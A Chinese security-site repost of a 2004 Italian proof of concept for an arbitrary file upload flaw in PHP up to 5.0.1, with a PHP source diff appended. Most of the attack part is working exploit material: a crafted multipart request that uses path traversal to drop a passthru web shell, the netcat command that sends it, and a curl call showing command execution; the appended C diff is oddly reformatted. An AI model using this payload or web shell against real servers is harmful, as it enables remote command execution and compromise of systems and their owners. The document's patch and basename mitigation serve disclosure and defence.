繁体中文  设为首页  加入收藏 
当前位置:学院首页 >> 实战 >> 密码破解 >> php最新任意文件上传漏洞利用方法


php最新任意文件上传漏洞利用方法

2004-10-05  www.hackbase.com  来源:互联网
此文来自http://www.wisec.it/news.php?page=1
Vulnerabilità PHP - Proof of Concept

Titolo:
Sovrascrittura dell'array $_FILE in relazione alla rfc1867 - Mime multipart/form-data File Upload.
Autore:
Stefano Di Paola
Vulnerabili:
Php <= 5.0.1
Non Vulnerabili:
Nessuno
Tipo di Vulnerabilità:
Possibile scrittura di un file "uploadato" in una directory arbitraria.
Risorse:
Pubblicato su Bugtraq e VulnWatch
Descrizione:
L'implementazione sbagliata del parser degli array nel file rfc1867 potrebbe permettere
la sovrascrittura di alcuni elementi di $_FILES.


Creando, infatti, una richiesta ad hoc per l'upload di un file codificata secondo le specifiche
"multipart/form-data file" è possibile bypassare assegnare all'elemento 'name' del vettore $_FILE
un valore arbitrario.
In particolare se nello script il nome dell'elemento di riferimento per l'upload contiene
una '_' (underscore) tipo "user_file", allora la vulnerabilità è una falla di sicurezza.
Utilizzando l'esempio 34-2. Validating file uploads (cambiando 'userfile' in 'user_file')
come spiegato in http://www.php.net/manual/en/features.file-upload.php :
-----file: upload.php------
<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
instead
// of $_FILES.

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['user_file']['name'];

print "<pre>";
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
    print "File is valid, and was successfully uploaded. ";
    print "Here's some more debugging info:\n";
    print_r($_FILES);
} else {
    print "Possible file upload attack!  Here's some debugging info:\n";
    print_r($_FILES);
}
print "</pre>";

?>
----end file: upload.php------
N.B La funzione php is_uploaded_file è stata aggiunta per dimostrare che questo controllo è bypassabile.

Supponiamo che /var/www/html/ sia scrivibile dall'utente apache (o una qualunque altra directory nella radice di apache).
$: (cat form)|nc 127.0.0.1 80

<pre>
File is valid, and was successfully uploaded.
Here's some more debugging info:

Array(
         [user_file] =>Array(
                               [name] =>  ../html/passt.php
                               [tmp_name] => /tmp/phpucjLV1
                               [error] => 0
                               [size] => 30
                               [type] => application/octet-stream
                           )
         )
</pre>
Dove form è la seguente:

-----8<---form-------8<-----
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php

<?
passthru($_GET['cm']);
?>

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream

<?
passthru($_GET['cm']);
?>


-----8<---endform----8<-----
Guardando da vicino la richiesta si può notare che il nome del file viene valorizzato da 'Content-Type: ../html/passt.php' e non da filename='p.php'
La seconda sezione è inserita solo per dare una parvenza di normalità permettendo al php di valorizzare anche l'elemento 'type', ma è più un esercizio di stile che altro...
Verifichiamo che tutto sia andato a buon fine:

$: curl "127.0.0.1/passt.php?cm=id"
uid=72(apache) gid=72(apache) groups=72(apache)

Fatto?...Fatto!
Il Problema
Il problema è dovuto al fatto che, come si può vedere nella form, giocando con le parentesi quadre e aggiungendo in coda qualunque cosa tranne una ']', si può fare in modo che vi sia un parsing sbagliato della variabile, risultando, in questo modo, un array diverso da quello atteso.
Non andrò troppo nello specifico dell'errore nel codice, basti sapere che il problema sta nel fatto che il nome del parametro 'name' nella richiesta, viene visto prima come una Stringa semplice (non array) e poi viene
'riparsato' dalla funzione php_register_varibles che la vede invece come un array, generando così una incongruenza
Questa incongruenza può essere sfruttata per riscrivere i valori degli elementi 'name' e 'type' diventando così una falla di sicurezza.

La Soluzione
La soluzione più semplice è scaricare e installare php 5.0.2 o 4.3.9 che sono state rilasciate da un paio di giorni.
Una soluzione alternativa è quella di controllare che $_FILES[]['name'] sia realmente solo un nome di file, per fare ciò basta usare qualcosa del genere:
$nomefile=basename($_FILES[]['name']);


Firenze, Domenica 26 Settembre 2004

Un'Idea sviluppata e mantenuta da...
Wisec is written and mantained by Stefano Di Paola.

Wisec usa standard aperti, inclusi XHTML, PHP e CSS2.

攻击力很强,仅供研究
一下是有问题的地方
cvs: php4 / rfc1867.c

[php.version4][Answer]

Subject: cvs: php4 / rfc1867.c
From: (Rasmus Lerdorf)
Newsgroups: php.version4
Date: Jun 04 2000 05:46:28

rasmus        Sat Jun  3 22:46:28 2000 EDT

Modified files:
/php4    rfc1867.c
Log:
@ Add support for both indexed and non-indexed arrays of file uploads
@ eg. name="file[]" type="file" (Rasmus)
Add support for both indexed and non-indexed arrays of file uploads
eg. name="file[]" type="file" (Rasmus)


Index: php4/rfc1867.c
diff -u php4/rfc1867.c:1.35 php4/rfc1867.c:1.36
--- php4/rfc1867.c:1.35    Thu May 18 08:34:21 2000
+++ php4/rfc1867.c    Sat Jun  3 22:46:28 2000
@@ -12,10 +12,10 @@
| obtain it through the world-wide-web, please send a note to          |
| license@php.net so we can mail you a copy immediately.               |
+----------------------------------------------------------------------+
-   | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca>                       |
+   | Authors: Rasmus Lerdorf <rasmus@php.net>                             |
+----------------------------------------------------------------------+
*/
-/* $Id: rfc1867.c,v 1.35 2000/05/18 15:34:21 zeev Exp $ */
+/* $Id: rfc1867.c,v 1.36 2000/06/04 05:46:28 rasmus Exp $ */

#include <stdio.h>
#include "php.h"
@@ -28,7 +28,7 @@


#define NEW_BOUNDARY_CHECK 1
-#define SAFE_RETURN
{
    if (namebuf) efree(namebuf); if (filenamebuf)
    efree(filenamebuf); if (lbuf) efree(lbuf); return;
}
+#define SAFE_RETURN
{
    if (namebuf) efree(namebuf); if (filenamebuf)
    efree(filenamebuf); if (lbuf) efree(lbuf); if (abuf) efree(abuf); if(arr_index)
    efree(arr_index); return;
}
/* The longest property name we use in an uploaded file array */
#define MAX_SIZE_OF_INDEX sizeof("[tmp_name]")
@@ -63,9 +63,10 @@
int len, state = 0, Done = 0, rem, urem;
int eolsize;
long bytes, max_file_size = 0;
-    char *namebuf=NULL, *filenamebuf=NULL, *lbuf=NULL;
+    char *namebuf=NULL, *filenamebuf=NULL, *lbuf=NULL,
+         *abuf=NULL, *start_arr=NULL, *end_arr=NULL, *arr_index=NULL;
FILE *fp;
-    int itype;
+    int itype, is_arr_upload=0, arr_len=0;
zval *http_post_files=NULL;
ELS_FETCH();
PLS_FETCH();
@@ -134,6 +135,19 @@
loc2 = memchr(loc + 1, '\n', rem);
rem -= (loc2 - ptr) + 1;
ptr = loc2 + 1;
+                    /* is_arr_upload is true when name of file upload field
+                     * ends in [.*]
+                     * start_arr is set to point to 1st [
+                     * end_arr points to last ]
+                     */
+                    is_arr_upload = (start_arr = strrchr(namebuf,'[')) &&
+                                    (end_arr = strrchr(namebuf,']')) &&
+                                    (end_arr = namebuf+strlen(namebuf)-1);
+                    if(is_arr_upload)
{
    +                        arr_len = strlen(start_arr);
    +                        if(arr_index) efree(arr_index);
    +                        arr_index = estrndup(start_arr+1,arr_len-1);
    +
}
}
else
{
    php_error(E_WARNING, "File upload error - no name component in content
    disposition");
    SAFE_RETURN;
    @@ -152,7 +166,15 @@
    filenamebuf = estrndup(filename, s-filename);

    /* Add $foo_name */
    -                    sprintf(lbuf, "%s_name", namebuf);
    +                    if (is_arr_upload)
    {
        +                        if (abuf)
        {
            +                            efree(abuf);
            +
        }
        +                        abuf = estrndup(namebuf, strlen(namebuf)-arr_len);
        +                        sprintf(lbuf, "%s_name[%s]", abuf, arr_index);
        +
    }
    else
    {
        +                        sprintf(lbuf, "%s_name", namebuf);
        +
    }
    s = strrchr(filenamebuf, '\\');
    if (s && s > filenamebuf)
    {
        php_register_variable(lbuf, s+1, NULL ELS_CC PLS_CC);
        @@ -161,7 +183,11 @@
    }
    /* Add $foo[name] */
    -                    sprintf(lbuf, "%s[name]", namebuf);
    +                    if (is_arr_upload)
    {
        +                        sprintf(lbuf, "%s[name][%s]", abuf, arr_index);
        +
    }
    else
    {
        +                        sprintf(lbuf, "%s[name]", namebuf);
        +
    }
    if (s && s > filenamebuf)
    {
        register_http_post_files_variable(lbuf, s+1, http_post_files ELS_CC
        PLS_CC);
    }
    else
    {
        @@ -174,11 +200,19 @@
        *(loc2 - 1) = '\0';

        /* Add $foo_type */
        -                            sprintf(lbuf, "%s_type", namebuf);
        +                            if (is_arr_upload)
        {
            +                                sprintf(lbuf, "%s_type[%s]", abuf, arr_index);
            +
        }
        else
        {
            +                                sprintf(lbuf, "%s_type", namebuf);
            +
        }
        php_register_variable(lbuf, loc+15, NULL ELS_CC PLS_CC);

        /* Add $foo[type] */
        -                            sprintf(lbuf, "%s[type]", namebuf);
        +                            if (is_arr_upload)
        {
            +                                sprintf(lbuf, "%s[type][%s]", abuf, arr_index);
            +
        }
        else
        {
            +                                sprintf(lbuf, "%s[type]", namebuf);
            +
        }
        register_http_post_files_variable(lbuf, loc+15, http_post_files ELS_CC
        PLS_CC);

        *(loc2 - 1) = '\n';
        @@ -272,7 +306,11 @@
        php_register_variable(namebuf, fn, NULL ELS_CC PLS_CC);

        /* Add $foo[tmp_name] */
        -                sprintf(lbuf, "%s[tmp_name]", namebuf);
        +                if(is_arr_upload)
        {
            +                    sprintf(lbuf, "%s[tmp_name][%s]", abuf, arr_index);
            +
        }
        else
        {
            +                    sprintf(lbuf, "%s[tmp_name]", namebuf);
            +
        }
        register_http_post_files_variable(lbuf, fn, http_post_files ELS_CC PLS_CC);
        {
            zval file_size;
            @@ -281,11 +319,19 @@
            file_size.type = IS_LONG;

            /* Add $foo_size */
            -                    sprintf(lbuf, "%s_size", namebuf);
            +                    if(is_arr_upload)
            {
                +                        sprintf(lbuf, "%s_size[%s]", abuf, arr_index);
                +
            }
            else
            {
                +                        sprintf(lbuf, "%s_size", namebuf);
                +
            }
            php_register_variable_ex(lbuf, &file_size, NULL ELS_CC PLS_CC);

            /* Add $foo[size] */
            -                    sprintf(lbuf, "%s[size]", namebuf);
            +                    if(is_arr_upload)
            {
                +                        sprintf(lbuf, "%s[size][%s]", abuf, arr_index);
                +
            }
            else
            {
                +                        sprintf(lbuf, "%s[size]", namebuf);
                +
            }
            register_http_post_files_variable_ex(lbuf, &file_size, http_post_files
            ELS_CC PLS_CC);
        }
        state = 0;
---

责任编辑:        



本文引用网址: 

php最新任意文件上传漏洞利用方法 的相关文章
发表评论